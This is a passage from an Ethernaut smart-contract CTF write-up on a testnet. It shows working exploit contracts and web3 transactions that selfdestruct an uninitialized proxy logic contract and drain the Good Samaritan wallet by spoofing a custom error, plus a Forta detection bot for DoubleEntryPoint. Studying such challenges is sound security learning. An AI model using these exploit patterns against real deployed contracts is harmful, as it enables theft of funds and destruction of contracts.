Out[645]: '0x8129fc1c0000000000000000000000000000000000000000000000000000000000000000'

In [646]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}

In [647]: tx['gas'] = io.eth.estimate_gas(tx)

In [648]: stx = io.eth.account.sign_transaction(tx,p)

In [649]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [650]: io.eth.wait_for_transaction_receipt(hsh)
Out[650]:
AttributeDict({'blockHash': HexBytes('0x2af5b7e55ef346d8d2d67f88783ad36a80c5c50cf5e766c5a01f3b0313e4c80c'),
'blockNumber': 2383870,
'contractAddress': None,
'cumulativeGasUsed': 66676,
'effectiveGasPrice': 3620000000,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 66676,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xe1a018E5720c1D6599Bb58213fA8f2188803949f',
'transactionHash': HexBytes('0x0a6f9a70d20aa6e24f269278a6e59955d8a287f69a38fbcc26f7eb5473077fd4'),
'transactionIndex': 0,
'type': '0x0'})

In [651]: io.eth.get_storage_at(ad,0)
Out[651]: HexBytes('0x0000000000000000000025bf651a048be8420997944c92c80e5064c1c5d60001')

now we are the upgrader of the logic contract (not the proxy contract) and we can call the upgradeToAndCall function to destroy the contract.

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {

function exploit() public{
selfdestruct(payable(address(0x25Bf651a048be8420997944C92c80e5064C1c5d6)));
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
In [653]: calldata = '0x4f1ef286000000000000000000000000aa63738a312c1c1a3e553b57423145d668877df40000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000463d9b77
...: 000000000000000000000000000000000000000000000000000000000'

In [654]: tx = {'to': ad, 'from': pub, 'data': calldata, 'chainId': 11155111, 'nonce': io.eth.get_transaction_count(pub), 'gasPrice': io.eth.gas_price}

In [655]: tx['gas'] = io.eth.estimate_gas(tx)

In [656]: stx = io.eth.account.sign_transaction(tx,p)

In [657]: hsh = io.eth.send_raw_transaction(stx.rawTransaction)

In [658]: io.eth.wait_for_transaction_receipt(hsh)
Out[658]:
AttributeDict({'blockHash': HexBytes('0xc309dbb2ec14e20f9859525903eee9c5f9fe9cd382b9099ed9f7f84f0dbd74a3'),
'blockNumber': 2383906,
'contractAddress': None,
'cumulativeGasUsed': 101255,
'effectiveGasPrice': 4350000000,
'from': '0x25Bf651a048be8420997944C92c80e5064C1c5d6',
'gasUsed': 55011,
'logs': [],
'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'),
'status': 1,
'to': '0xe1a018E5720c1D6599Bb58213fA8f2188803949f',
'transactionHash': HexBytes('0x6d776c95cd5a581e01ccddda8c1ae26f2128f118de963401eca47516e2becc1b'),
'transactionIndex': 1,
'type': '0x0'})

In [659]: io.eth.get_storage_at(ad,0)
Out[659]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')

26 - DoubleEntryPoint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}

To complete this challenge, we must implement a detection bot that notifies us whenever a potential attack happens. Here in this token, if we try to sweep LegacyToken, we can sweep DoubleEntryPointToken, so we need to write a bot that tracks for the LegacyToken sweeps and notify to Forta contract, I have read a blog which explains how exactly to track the transaction for the potential attack and got the script for the bot.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./DoubleEntryPoint.sol";

contract DetectionBot is IDetectionBot {
address private vault;

constructor(address _vault) public {
vault = _vault;
}

/* calldata layout
| calldata offset | length | element | type | example value |
|-----------------|--------|----------------------------------------|---------|--------------------------------------------------------------------|
| 0x00 | 4 | function signature (handleTransaction) | bytes4 | 0x220ab6aa |
| 0x04 | 32 | user | address | 0x000000000000000000000000XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx |
| 0x24 | 32 | offset of msgData | uint256 | 0x0000000000000000000000000000000000000000000000000000000000000040 |
| 0x44 | 32 | length of msgData | uint256 | 0x0000000000000000000000000000000000000000000000000000000000000064 |
| 0x64 | 4 | function signature (delegateTransfer) | bytes4 | 0x9cd1a121 |
| 0x68 | 32 | to | address | 0x000000000000000000000000XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx |
| 0x88 | 32 | value | uint256 | 0x0000000000000000000000000000000000000000000000056bc75e2d63100000 |
| 0xA8 | 32 | origSender | address | 0x000000000000000000000000XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx |
| 0xC8 | 28 | padding | bytes | 0x00000000000000000000000000000000000000000000000000000000 |
*/
function handleTransaction(
address user,
bytes calldata /* msgData */
) external override {
address to;
uint256 value;
address origSender;
// decode msgData params
assembly {
to := calldataload(0x68)
value := calldataload(0x88)
origSender := calldataload(0xa8)
}
if (origSender == vault) {
Forta(msg.sender).raiseAlert(user);
}
}

27 - Good Samaritan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

We need to drain all the funds to complete this challenge. If we look at the wallet contract, it has a donate10 function, which checks if the balance of it is less than 10 and if yes, it returns a NotEnoughBalance() error, else it transfers 10 coins to the given address. However, since the NotEnoughBalance() custom error is used only once and under the condition that the balance is less than 10, the GoodSmaritan contract sends the remaining amount to the address using the wallet’s transferRemainder function assuming the transaction amount is always less than 10. However, the Coin contract does call a function called notify() if the given address is a contract after the transaction is successful, so if it sends the same custom error NotEnoughBalance(), then it does trigger the check inside the GoodSmaritan contract making it to call transferRemainder function eventually sending all of it’s funds to the given contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;


interface GoodSamaritan {
function requestDonation() external returns(bool);
}


interface INotifyable {
function notify(uint256 amount) external;
}
contract Exploit {

GoodSamaritan gs;
error NotEnoughBalance();

constructor(address _address){
gs = GoodSamaritan(_address);
}

function exploit() external {
gs.requestDonation();
}

function notify(uint256 amount) external{
if (amount==10){revert NotEnoughBalance();}
}

}